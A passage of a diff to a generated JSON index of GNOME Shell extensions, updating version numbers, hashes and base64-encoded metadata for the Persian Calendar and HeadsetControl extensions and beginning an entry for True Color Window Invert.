"ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkZvcmsgb2YgR25vbWUgQ2FsZW5kYXIgZXh0ZW5zaW9uIHdpdGggUGVyc2lhbiB0YXN0ZSIsCiAgImdldHRleHQtZG9tYWluIjogInBlcnNpYW4tY2FsZW5kYXJAaWFtcmV6YW1vdXNhdmkuZ21haWwuY29tIiwKICAibmFtZSI6ICJQZXJzaWFuIENhbGVuZGFyIiwKICAib3JpZ2luYWwtYXV0aG9ycyI6ICJSZXphIE1vdXNhdmkiLAogICJzZXR0aW5ncy1zY2hlbWEiOiAib3JnLmdub21lLnNoZWxsLmV4dGVuc2lvbnMuUGVyc2lhbkNhbGVuZGFyIiwKICAic2hlbGwtdmVyc2lvbiI6IFsKICAgICI0NSIsCiAgICAiNDYiLAogICAgIjQ3IiwKICAgICI0OCIKICBdLAogICJ1cmwiOiAiaHR0cHM6Ly9naXRodWIuY29tL0lhbVJlemFNb3VzYXZpL3BlcnNpYW4tZ25vbWUtY2FsZW5kYXItZXh0ZW5zaW9uIiwKICAidXVpZCI6ICJwZXJzaWFuLWNhbGVuZGFyQGlhbXJlemFtb3VzYXZpLmdtYWlsLmNvbSIsCiAgInZlcnNpb24iOiAyOQp9"},
-    "48": {"version": "29", "sha256": "09prscsx900gzkpa0hw54gys3s521fld8wif707iagl6hcylzmp8", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkZvcmsgb2YgR25vbWUgQ2FsZW5kYXIgZXh0ZW5zaW9uIHdpdGggUGVyc2lhbiB0YXN0ZSIsCiAgImdldHRleHQtZG9tYWluIjogInBlcnNpYW4tY2FsZW5kYXJAaWFtcmV6YW1vdXNhdmkuZ21haWwuY29tIiwKICAibmFtZSI6ICJQZXJzaWFuIENhbGVuZGFyIiwKICAib3JpZ2luYWwtYXV0aG9ycyI6ICJSZXphIE1vdXNhdmkiLAogICJzZXR0aW5ncy1zY2hlbWEiOiAib3JnLmdub21lLnNoZWxsLmV4dGVuc2lvbnMuUGVyc2lhbkNhbGVuZGFyIiwKICAic2hlbGwtdmVyc2lvbiI6IFsKICAgICI0NSIsCiAgICAiNDYiLAogICAgIjQ3IiwKICAgICI0OCIKICBdLAogICJ1cmwiOiAiaHR0cHM6Ly9naXRodWIuY29tL0lhbVJlemFNb3VzYXZpL3BlcnNpYW4tZ25vbWUtY2FsZW5kYXItZXh0ZW5zaW9uIiwKICAidXVpZCI6ICJwZXJzaWFuLWNhbGVuZGFyQGlhbXJlemFtb3VzYXZpLmdtYWlsLmNvbSIsCiAgInZlcnNpb24iOiAyOQp9"}
+    "45": {"version": "30", "sha256": "1zsp7gv86z09s4khcr8wg0qq6y3vbj658vh2d6p6clfknhqcwr1s", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkZvcmsgb2YgR25vbWUgQ2FsZW5kYXIgZXh0ZW5zaW9uIHdpdGggUGVyc2lhbiB0YXN0ZSIsCiAgImdldHRleHQtZG9tYWluIjogInBlcnNpYW4tY2FsZW5kYXJAaWFtcmV6YW1vdXNhdmkuZ21haWwuY29tIiwKICAibmFtZSI6ICJQZXJzaWFuIENhbGVuZGFyIiwKICAib3JpZ2luYWwtYXV0aG9ycyI6ICJSZXphIE1vdXNhdmkiLAogICJzZXR0aW5ncy1zY2hlbWEiOiAib3JnLmdub21lLnNoZWxsLmV4dGVuc2lvbnMuUGVyc2lhbkNhbGVuZGFyIiwKICAic2hlbGwtdmVyc2lvbiI6IFsKICAgICI0NSIsCiAgICAiNDYiLAogICAgIjQ3IiwKICAgICI0OCIKICBdLAogICJ1cmwiOiAiaHR0cHM6Ly9naXRodWIuY29tL0lhbVJlemFNb3VzYXZpL3BlcnNpYW4tZ25vbWUtY2FsZW5kYXItZXh0ZW5zaW9uIiwKICAidXVpZCI6ICJwZXJzaWFuLWNhbGVuZGFyQGlhbXJlemFtb3VzYXZpLmdtYWlsLmNvbSIsCiAgInZlcnNpb24iOiAzMAp9"},
+    "46": {"version": "30", "sha256": "1zsp7gv86z09s4khcr8wg0qq6y3vbj658vh2d6p6clfknhqcwr1s", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkZvcmsgb2YgR25vbWUgQ2FsZW5kYXIgZXh0ZW5zaW9uIHdpdGggUGVyc2lhbiB0YXN0ZSIsCiAgImdldHRleHQtZG9tYWluIjogInBlcnNpYW4tY2FsZW5kYXJAaWFtcmV6YW1vdXNhdmkuZ21haWwuY29tIiwKICAibmFtZSI6ICJQZXJzaWFuIENhbGVuZGFyIiwKICAib3JpZ2luYWwtYXV0aG9ycyI6ICJSZXphIE1vdXNhdmkiLAogICJzZXR0aW5ncy1zY2hlbWEiOiAib3JnLmdub21lLnNoZWxsLmV4dGVuc2lvbnMuUGVyc2lhbkNhbGVuZGFyIiwKICAic2hlbGwtdmVyc2lvbiI6IFsKICAgICI0NSIsCiAgICAiNDYiLAogICAgIjQ3IiwKICAgICI0OCIKICBdLAogICJ1cmwiOiAiaHR0cHM6Ly9naXRodWIuY29tL0lhbVJlemFNb3VzYXZpL3BlcnNpYW4tZ25vbWUtY2FsZW5kYXItZXh0ZW5zaW9uIiwKICAidXVpZCI6ICJwZXJzaWFuLWNhbGVuZGFyQGlhbXJlemFtb3VzYXZpLmdtYWlsLmNvbSIsCiAgInZlcnNpb24iOiAzMAp9"},
+    "47": {"version": "30", "sha256": "1zsp7gv86z09s4khcr8wg0qq6y3vbj658vh2d6p6clfknhqcwr1s", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkZvcmsgb2YgR25vbWUgQ2FsZW5kYXIgZXh0ZW5zaW9uIHdpdGggUGVyc2lhbiB0YXN0ZSIsCiAgImdldHRleHQtZG9tYWluIjogInBlcnNpYW4tY2FsZW5kYXJAaWFtcmV6YW1vdXNhdmkuZ21haWwuY29tIiwKICAibmFtZSI6ICJQZXJzaWFuIENhbGVuZGFyIiwKICAib3JpZ2luYWwtYXV0aG9ycyI6ICJSZXphIE1vdXNhdmkiLAogICJzZXR0aW5ncy1zY2hlbWEiOiAib3JnLmdub21lLnNoZWxsLmV4dGVuc2lvbnMuUGVyc2lhbkNhbGVuZGFyIiwKICAic2hlbGwtdmVyc2lvbiI6IFsKICAgICI0NSIsCiAgICAiNDYiLAogICAgIjQ3IiwKICAgICI0OCIKICBdLAogICJ1cmwiOiAiaHR0cHM6Ly9naXRodWIuY29tL0lhbVJlemFNb3VzYXZpL3BlcnNpYW4tZ25vbWUtY2FsZW5kYXItZXh0ZW5zaW9uIiwKICAidXVpZCI6ICJwZXJzaWFuLWNhbGVuZGFyQGlhbXJlemFtb3VzYXZpLmdtYWlsLmNvbSIsCiAgInZlcnNpb24iOiAzMAp9"},
+    "48": {"version": "30", "sha256": "1zsp7gv86z09s4khcr8wg0qq6y3vbj658vh2d6p6clfknhqcwr1s", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkZvcmsgb2YgR25vbWUgQ2FsZW5kYXIgZXh0ZW5zaW9uIHdpdGggUGVyc2lhbiB0YXN0ZSIsCiAgImdldHRleHQtZG9tYWluIjogInBlcnNpYW4tY2FsZW5kYXJAaWFtcmV6YW1vdXNhdmkuZ21haWwuY29tIiwKICAibmFtZSI6ICJQZXJzaWFuIENhbGVuZGFyIiwKICAib3JpZ2luYWwtYXV0aG9ycyI6ICJSZXphIE1vdXNhdmkiLAogICJzZXR0aW5ncy1zY2hlbWEiOiAib3JnLmdub21lLnNoZWxsLmV4dGVuc2lvbnMuUGVyc2lhbkNhbGVuZGFyIiwKICAic2hlbGwtdmVyc2lvbiI6IFsKICAgICI0NSIsCiAgICAiNDYiLAogICAgIjQ3IiwKICAgICI0OCIKICBdLAogICJ1cmwiOiAiaHR0cHM6Ly9naXRodWIuY29tL0lhbVJlemFNb3VzYXZpL3BlcnNpYW4tZ25vbWUtY2FsZW5kYXItZXh0ZW5zaW9uIiwKICAidXVpZCI6ICJwZXJzaWFuLWNhbGVuZGFyQGlhbXJlemFtb3VzYXZpLmdtYWlsLmNvbSIsCiAgInZlcnNpb24iOiAzMAp9"}
   }}
 , {"uuid": "HeadsetControl@lauinger-clan.de", "name": "HeadsetControl", "pname": "headsetcontrol", "description": "Gnome Shell Extension to visualize headset status from HeadsetControl (https://github.com/Sapd/HeadsetControl) command line tool", "link": "https://extensions.gnome.org/extension/5823/headsetcontrol/", "shell_version_map": {
     "42": {"version": "6", "sha256": "1mdyigd5dn324ivb5bgypiq4gibjsbzm0rkcml9hi699a609736k", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkdub21lIFNoZWxsIEV4dGVuc2lvbiB0byB2aXN1YWxpemUgaGVhZHNldCBzdGF0dXMgZnJvbSBIZWFkc2V0Q29udHJvbCAoaHR0cHM6Ly9naXRodWIuY29tL1NhcGQvSGVhZHNldENvbnRyb2wpIGNvbW1hbmQgbGluZSB0b29sIiwKICAiZ2V0dGV4dC1kb21haW4iOiAiSGVhZHNldENvbnRyb2wiLAogICJuYW1lIjogIkhlYWRzZXRDb250cm9sIiwKICAic2V0dGluZ3Mtc2NoZW1hIjogIm9yZy5nbm9tZS5zaGVsbC5leHRlbnNpb25zLkhlYWRzZXRDb250cm9sIiwKICAic2hlbGwtdmVyc2lvbiI6IFsKICAgICI0MiIsCiAgICAiNDMiLAogICAgIjQ0IgogIF0sCiAgInVybCI6ICJodHRwczovL2dpdGh1Yi5jb20vQ2hyaXNMYXVpbmdlcjc3L2dub21lLXNoZWxsLWV4dGVuc2lvbi1IZWFkc2V0Q29udHJvbCIsCiAgInV1aWQiOiAiSGVhZHNldENvbnRyb2xAbGF1aW5nZXItY2xhbi5kZSIsCiAgInZlcnNpb24iOiA2Cn0="},
     "43": {"version": "15", "sha256": "04as61msjqq359r1qm0d7dw7df2bcngx67pmwva8flyvzi62iavi", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkdub21lIFNoZWxsIEV4dGVuc2lvbiB0byB2aXN1YWxpemUgaGVhZHNldCBzdGF0dXMgZnJvbSBIZWFkc2V0Q29udHJvbCAoaHR0cHM6Ly9naXRodWIuY29tL1NhcGQvSGVhZHNldENvbnRyb2wpIGNvbW1hbmQgbGluZSB0b29sIiwKICAiZ2V0dGV4dC1kb21haW4iOiAiSGVhZHNldENvbnRyb2wiLAogICJuYW1lIjogIkhlYWRzZXRDb250cm9sIiwKICAic2V0dGluZ3Mtc2NoZW1hIjogIm9yZy5nbm9tZS5zaGVsbC5leHRlbnNpb25zLkhlYWRzZXRDb250cm9sIiwKICAic2hlbGwtdmVyc2lvbiI6IFsKICAgICI0MyIsCiAgICAiNDQiCiAgXSwKICAidXJsIjogImh0dHBzOi8vZ2l0aHViLmNvbS9DaHJpc0xhdWluZ2VyNzcvZ25vbWUtc2hlbGwtZXh0ZW5zaW9uLUhlYWRzZXRDb250cm9sIiwKICAidXVpZCI6ICJIZWFkc2V0Q29udHJvbEBsYXVpbmdlci1jbGFuLmRlIiwKICAidmVyc2lvbiI6IDE1Cn0="},
     "44": {"version": "23", "sha256": "00clk8w8p1sxsqpmwsmlgki2vvx9cjlvnzsrn9j69n1img4vbiwh", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkdub21lIFNoZWxsIEV4dGVuc2lvbiB0byB2aXN1YWxpemUgaGVhZHNldCBzdGF0dXMgZnJvbSBIZWFkc2V0Q29udHJvbCAoaHR0cHM6Ly9naXRodWIuY29tL1NhcGQvSGVhZHNldENvbnRyb2wpIGNvbW1hbmQgbGluZSB0b29sIiwKICAiZ2V0dGV4dC1kb21haW4iOiAiSGVhZHNldENvbnRyb2wiLAogICJuYW1lIjogIkhlYWRzZXRDb250cm9sIiwKICAic2V0dGluZ3Mtc2NoZW1hIjogIm9yZy5nbm9tZS5zaGVsbC5leHRlbnNpb25zLkhlYWRzZXRDb250cm9sIiwKICAic2hlbGwtdmVyc2lvbiI6IFsKICAgICI0NCIKICBdLAogICJ1cmwiOiAiaHR0cHM6Ly9naXRodWIuY29tL0NocmlzTGF1aW5nZXI3Ny9nbm9tZS1zaGVsbC1leHRlbnNpb24tSGVhZHNldENvbnRyb2wiLAogICJ1dWlkIjogIkhlYWRzZXRDb250cm9sQGxhdWluZ2VyLWNsYW4uZGUiLAogICJ2ZXJzaW9uIjogMjMKfQ=="},
-    "45": {"version": "56", "sha256": "1nbc1rk3crlkn897m4d36waj29af26ck380yasjdqiliaadr85nz", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkdub21lIFNoZWxsIEV4dGVuc2lvbiB0byB2aXN1YWxpemUgaGVhZHNldCBzdGF0dXMgZnJvbSBIZWFkc2V0Q29udHJvbCAoaHR0cHM6Ly9naXRodWIuY29tL1NhcGQvSGVhZHNldENvbnRyb2wpIGNvbW1hbmQgbGluZSB0b29sIiwKICAiZG9uYXRpb25zIjogewogICAgImdpdGh1YiI6ICJDaHJpc0xhdWluZ2VyNzciLAogICAgInBheXBhbCI6ICJDaHJpc0xhdWluZ2VyIgogIH0sCiAgImdldHRleHQtZG9tYWluIjogIkhlYWRzZXRDb250cm9sIiwKICAibmFtZSI6ICJIZWFkc2V0Q29udHJvbCIsCiAgInNldHRpbmdzLXNjaGVtYSI6ICJvcmcuZ25vbWUuc2hlbGwuZXh0ZW5zaW9ucy5IZWFkc2V0Q29udHJvbCIsCiAgInNoZWxsLXZlcnNpb24iOiBbCiAgICAiNDUiLAogICAgIjQ2IiwKICAgICI0NyIsCiAgICAiNDgiCiAgXSwKICAidXJsIjogImh0dHBzOi8vZ2l0aHViLmNvbS9DaHJpc0xhdWluZ2VyNzcvZ25vbWUtc2hlbGwtZXh0ZW5zaW9uLUhlYWRzZXRDb250cm9sIiwKICAidXVpZCI6ICJIZWFkc2V0Q29udHJvbEBsYXVpbmdlci1jbGFuLmRlIiwKICAidmVyc2lvbiI6IDU2LAogICJ2ZXJzaW9uLW5hbWUiOiAiNDguNyIKfQ=="},
-    "46": {"version": "56", "sha256": "1nbc1rk3crlkn897m4d36waj29af26ck380yasjdqiliaadr85nz", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkdub21lIFNoZWxsIEV4dGVuc2lvbiB0byB2aXN1YWxpemUgaGVhZHNldCBzdGF0dXMgZnJvbSBIZWFkc2V0Q29udHJvbCAoaHR0cHM6Ly9naXRodWIuY29tL1NhcGQvSGVhZHNldENvbnRyb2wpIGNvbW1hbmQgbGluZSB0b29sIiwKICAiZG9uYXRpb25zIjogewogICAgImdpdGh1YiI6ICJDaHJpc0xhdWluZ2VyNzciLAogICAgInBheXBhbCI6ICJDaHJpc0xhdWluZ2VyIgogIH0sCiAgImdldHRleHQtZG9tYWluIjogIkhlYWRzZXRDb250cm9sIiwKICAibmFtZSI6ICJIZWFkc2V0Q29udHJvbCIsCiAgInNldHRpbmdzLXNjaGVtYSI6ICJvcmcuZ25vbWUuc2hlbGwuZXh0ZW5zaW9ucy5IZWFkc2V0Q29udHJvbCIsCiAgInNoZWxsLXZlcnNpb24iOiBbCiAgICAiNDUiLAogICAgIjQ2IiwKICAgICI0NyIsCiAgICAiNDgiCiAgXSwKICAidXJsIjogImh0dHBzOi8vZ2l0aHViLmNvbS9DaHJpc0xhdWluZ2VyNzcvZ25vbWUtc2hlbGwtZXh0ZW5zaW9uLUhlYWRzZXRDb250cm9sIiwKICAidXVpZCI6ICJIZWFkc2V0Q29udHJvbEBsYXVpbmdlci1jbGFuLmRlIiwKICAidmVyc2lvbiI6IDU2LAogICJ2ZXJzaW9uLW5hbWUiOiAiNDguNyIKfQ=="},
-    "47": {"version": "56", "sha256": "1nbc1rk3crlkn897m4d36waj29af26ck380yasjdqiliaadr85nz", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkdub21lIFNoZWxsIEV4dGVuc2lvbiB0byB2aXN1YWxpemUgaGVhZHNldCBzdGF0dXMgZnJvbSBIZWFkc2V0Q29udHJvbCAoaHR0cHM6Ly9naXRodWIuY29tL1NhcGQvSGVhZHNldENvbnRyb2wpIGNvbW1hbmQgbGluZSB0b29sIiwKICAiZG9uYXRpb25zIjogewogICAgImdpdGh1YiI6ICJDaHJpc0xhdWluZ2VyNzciLAogICAgInBheXBhbCI6ICJDaHJpc0xhdWluZ2VyIgogIH0sCiAgImdldHRleHQtZG9tYWluIjogIkhlYWRzZXRDb250cm9sIiwKICAibmFtZSI6ICJIZWFkc2V0Q29udHJvbCIsCiAgInNldHRpbmdzLXNjaGVtYSI6ICJvcmcuZ25vbWUuc2hlbGwuZXh0ZW5zaW9ucy5IZWFkc2V0Q29udHJvbCIsCiAgInNoZWxsLXZlcnNpb24iOiBbCiAgICAiNDUiLAogICAgIjQ2IiwKICAgICI0NyIsCiAgICAiNDgiCiAgXSwKICAidXJsIjogImh0dHBzOi8vZ2l0aHViLmNvbS9DaHJpc0xhdWluZ2VyNzcvZ25vbWUtc2hlbGwtZXh0ZW5zaW9uLUhlYWRzZXRDb250cm9sIiwKICAidXVpZCI6ICJIZWFkc2V0Q29udHJvbEBsYXVpbmdlci1jbGFuLmRlIiwKICAidmVyc2lvbiI6IDU2LAogICJ2ZXJzaW9uLW5hbWUiOiAiNDguNyIKfQ=="},
-    "48": {"version": "56", "sha256": "1nbc1rk3crlkn897m4d36waj29af26ck380yasjdqiliaadr85nz", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkdub21lIFNoZWxsIEV4dGVuc2lvbiB0byB2aXN1YWxpemUgaGVhZHNldCBzdGF0dXMgZnJvbSBIZWFkc2V0Q29udHJvbCAoaHR0cHM6Ly9naXRodWIuY29tL1NhcGQvSGVhZHNldENvbnRyb2wpIGNvbW1hbmQgbGluZSB0b29sIiwKICAiZG9uYXRpb25zIjogewogICAgImdpdGh1YiI6ICJDaHJpc0xhdWluZ2VyNzciLAogICAgInBheXBhbCI6ICJDaHJpc0xhdWluZ2VyIgogIH0sCiAgImdldHRleHQtZG9tYWluIjogIkhlYWRzZXRDb250cm9sIiwKICAibmFtZSI6ICJIZWFkc2V0Q29udHJvbCIsCiAgInNldHRpbmdzLXNjaGVtYSI6ICJvcmcuZ25vbWUuc2hlbGwuZXh0ZW5zaW9ucy5IZWFkc2V0Q29udHJvbCIsCiAgInNoZWxsLXZlcnNpb24iOiBbCiAgICAiNDUiLAogICAgIjQ2IiwKICAgICI0NyIsCiAgICAiNDgiCiAgXSwKICAidXJsIjogImh0dHBzOi8vZ2l0aHViLmNvbS9DaHJpc0xhdWluZ2VyNzcvZ25vbWUtc2hlbGwtZXh0ZW5zaW9uLUhlYWRzZXRDb250cm9sIiwKICAidXVpZCI6ICJIZWFkc2V0Q29udHJvbEBsYXVpbmdlci1jbGFuLmRlIiwKICAidmVyc2lvbiI6IDU2LAogICJ2ZXJzaW9uLW5hbWUiOiAiNDguNyIKfQ=="}
+    "45": {"version": "59", "sha256": "19r06m1jm3vf1nrgki9ls4qxknlh3w3rf8fa1ryf8cv5chxmanbv", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkdub21lIFNoZWxsIEV4dGVuc2lvbiB0byB2aXN1YWxpemUgaGVhZHNldCBzdGF0dXMgZnJvbSBIZWFkc2V0Q29udHJvbCAoaHR0cHM6Ly9naXRodWIuY29tL1NhcGQvSGVhZHNldENvbnRyb2wpIGNvbW1hbmQgbGluZSB0b29sIiwKICAiZG9uYXRpb25zIjogewogICAgImdpdGh1YiI6ICJDaHJpc0xhdWluZ2VyNzciLAogICAgInBheXBhbCI6ICJDaHJpc0xhdWluZ2VyIgogIH0sCiAgImdldHRleHQtZG9tYWluIjogIkhlYWRzZXRDb250cm9sIiwKICAibmFtZSI6ICJIZWFkc2V0Q29udHJvbCIsCiAgInNldHRpbmdzLXNjaGVtYSI6ICJvcmcuZ25vbWUuc2hlbGwuZXh0ZW5zaW9ucy5IZWFkc2V0Q29udHJvbCIsCiAgInNoZWxsLXZlcnNpb24iOiBbCiAgICAiNDUiLAogICAgIjQ2IiwKICAgICI0NyIsCiAgICAiNDgiCiAgXSwKICAidXJsIjogImh0dHBzOi8vZ2l0aHViLmNvbS9DaHJpc0xhdWluZ2VyNzcvZ25vbWUtc2hlbGwtZXh0ZW5zaW9uLUhlYWRzZXRDb250cm9sIiwKICAidXVpZCI6ICJIZWFkc2V0Q29udHJvbEBsYXVpbmdlci1jbGFuLmRlIiwKICAidmVyc2lvbiI6IDU5LAogICJ2ZXJzaW9uLW5hbWUiOiAiNDguMTAiCn0="},
+    "46": {"version": "59", "sha256": "19r06m1jm3vf1nrgki9ls4qxknlh3w3rf8fa1ryf8cv5chxmanbv", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkdub21lIFNoZWxsIEV4dGVuc2lvbiB0byB2aXN1YWxpemUgaGVhZHNldCBzdGF0dXMgZnJvbSBIZWFkc2V0Q29udHJvbCAoaHR0cHM6Ly9naXRodWIuY29tL1NhcGQvSGVhZHNldENvbnRyb2wpIGNvbW1hbmQgbGluZSB0b29sIiwKICAiZG9uYXRpb25zIjogewogICAgImdpdGh1YiI6ICJDaHJpc0xhdWluZ2VyNzciLAogICAgInBheXBhbCI6ICJDaHJpc0xhdWluZ2VyIgogIH0sCiAgImdldHRleHQtZG9tYWluIjogIkhlYWRzZXRDb250cm9sIiwKICAibmFtZSI6ICJIZWFkc2V0Q29udHJvbCIsCiAgInNldHRpbmdzLXNjaGVtYSI6ICJvcmcuZ25vbWUuc2hlbGwuZXh0ZW5zaW9ucy5IZWFkc2V0Q29udHJvbCIsCiAgInNoZWxsLXZlcnNpb24iOiBbCiAgICAiNDUiLAogICAgIjQ2IiwKICAgICI0NyIsCiAgICAiNDgiCiAgXSwKICAidXJsIjogImh0dHBzOi8vZ2l0aHViLmNvbS9DaHJpc0xhdWluZ2VyNzcvZ25vbWUtc2hlbGwtZXh0ZW5zaW9uLUhlYWRzZXRDb250cm9sIiwKICAidXVpZCI6ICJIZWFkc2V0Q29udHJvbEBsYXVpbmdlci1jbGFuLmRlIiwKICAidmVyc2lvbiI6IDU5LAogICJ2ZXJzaW9uLW5hbWUiOiAiNDguMTAiCn0="},
+    "47": {"version": "59", "sha256": "19r06m1jm3vf1nrgki9ls4qxknlh3w3rf8fa1ryf8cv5chxmanbv", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkdub21lIFNoZWxsIEV4dGVuc2lvbiB0byB2aXN1YWxpemUgaGVhZHNldCBzdGF0dXMgZnJvbSBIZWFkc2V0Q29udHJvbCAoaHR0cHM6Ly9naXRodWIuY29tL1NhcGQvSGVhZHNldENvbnRyb2wpIGNvbW1hbmQgbGluZSB0b29sIiwKICAiZG9uYXRpb25zIjogewogICAgImdpdGh1YiI6ICJDaHJpc0xhdWluZ2VyNzciLAogICAgInBheXBhbCI6ICJDaHJpc0xhdWluZ2VyIgogIH0sCiAgImdldHRleHQtZG9tYWluIjogIkhlYWRzZXRDb250cm9sIiwKICAibmFtZSI6ICJIZWFkc2V0Q29udHJvbCIsCiAgInNldHRpbmdzLXNjaGVtYSI6ICJvcmcuZ25vbWUuc2hlbGwuZXh0ZW5zaW9ucy5IZWFkc2V0Q29udHJvbCIsCiAgInNoZWxsLXZlcnNpb24iOiBbCiAgICAiNDUiLAogICAgIjQ2IiwKICAgICI0NyIsCiAgICAiNDgiCiAgXSwKICAidXJsIjogImh0dHBzOi8vZ2l0aHViLmNvbS9DaHJpc0xhdWluZ2VyNzcvZ25vbWUtc2hlbGwtZXh0ZW5zaW9uLUhlYWRzZXRDb250cm9sIiwKICAidXVpZCI6ICJIZWFkc2V0Q29udHJvbEBsYXVpbmdlci1jbGFuLmRlIiwKICAidmVyc2lvbiI6IDU5LAogICJ2ZXJzaW9uLW5hbWUiOiAiNDguMTAiCn0="},
+    "48": {"version": "59", "sha256": "19r06m1jm3vf1nrgki9ls4qxknlh3w3rf8fa1ryf8cv5chxmanbv", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkdub21lIFNoZWxsIEV4dGVuc2lvbiB0byB2aXN1YWxpemUgaGVhZHNldCBzdGF0dXMgZnJvbSBIZWFkc2V0Q29udHJvbCAoaHR0cHM6Ly9naXRodWIuY29tL1NhcGQvSGVhZHNldENvbnRyb2wpIGNvbW1hbmQgbGluZSB0b29sIiwKICAiZG9uYXRpb25zIjogewogICAgImdpdGh1YiI6ICJDaHJpc0xhdWluZ2VyNzciLAogICAgInBheXBhbCI6ICJDaHJpc0xhdWluZ2VyIgogIH0sCiAgImdldHRleHQtZG9tYWluIjogIkhlYWRzZXRDb250cm9sIiwKICAibmFtZSI6ICJIZWFkc2V0Q29udHJvbCIsCiAgInNldHRpbmdzLXNjaGVtYSI6ICJvcmcuZ25vbWUuc2hlbGwuZXh0ZW5zaW9ucy5IZWFkc2V0Q29udHJvbCIsCiAgInNoZWxsLXZlcnNpb24iOiBbCiAgICAiNDUiLAogICAgIjQ2IiwKICAgICI0NyIsCiAgICAiNDgiCiAgXSwKICAidXJsIjogImh0dHBzOi8vZ2l0aHViLmNvbS9DaHJpc0xhdWluZ2VyNzcvZ25vbWUtc2hlbGwtZXh0ZW5zaW9uLUhlYWRzZXRDb250cm9sIiwKICAidXVpZCI6ICJIZWFkc2V0Q29udHJvbEBsYXVpbmdlci1jbGFuLmRlIiwKICAidmVyc2lvbiI6IDU5LAogICJ2ZXJzaW9uLW5hbWUiOiAiNDguMTAiCn0="}
   }}
 , {"uuid": "true-color-window-invert@lynet101", "name": "True Color Window Invert", "pname": "true-color-invert", "description": "Inverts the color of individual windows so they are hue-preserved.\nDefault shortcut is Super+I (Fork from JackKenney, due to 2+ years of inactivity)\n\n!!!IMPORTANT!!!\nDue to changes in personal and professional life, developer lynet_101 will no longer be able to maintain this project, and the extension, as a result, is from December the 5th 2023 orphaned\n\npatch notes v3:\nFixed an issue where windows would occasionally disappear upon inversion\n\nAbout Gnome 45:\nThere will be made an effort to port this extension to gnome 45, but gnome has decided to revamp large parts of the framework used for these sorts of extensions, and as I'm a solo developer, don't expect it to be ported immediately .\n\nI apologize for any inconvenience this may cause ;(", "link": "https://extensions.gnome.org/extension/5829/true-color-invert/", "shell_version_map": {
     "38": {"version": "3", "sha256": "01hsx7mrd0z8fy797x3xn8jqjjw8a34dxj4vvf9w43zdixj5i6z4", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkludmVydHMgdGhlIGNvbG9yIG9mIGluZGl2aWR1YWwgd2luZG93cyBzbyB0aGV5IGFyZSBodWUtcHJlc2VydmVkLlxuRGVmYXVsdCBzaG9ydGN1dCBpcyBTdXBlcitJIChGb3JrIGZyb20gSmFja0tlbm5leSwgZHVlIHRvIDIrIHllYXJzIG9mIGluYWN0aXZpdHlcblxucGF0Y2ggbm90ZXMgdjM6XG5GaXhlZCBhbiBpc3N1ZSB3aGVyZSB3aW5kb3dzIHdvdWxkIG9jY2FzaW9uYWxseSBkaXNhcHBlYXIgdXBvbiBpbnZlcnNpb25cblxuTm90ZXM6XG5BcyB0aGlzIGlzIGEgZmFpcmx5IG5ldyBhZG9wdGlvbiwgb2YgYSBmYWlybHkgb2xkIHByb2plY3QsIGV4cGVjdCBmcmVxdWVudCB1cGRhdGVzIGFuZCBidWcgcGF0Y2hlcyBpbiB0aGUgYmVnaW5uaW5nLiB0aGFuayB5b3UgZm9yIHVuZGVyc3RhbmRpbmciLAogICJuYW1lIjogIlRydWUgQ29sb3IgV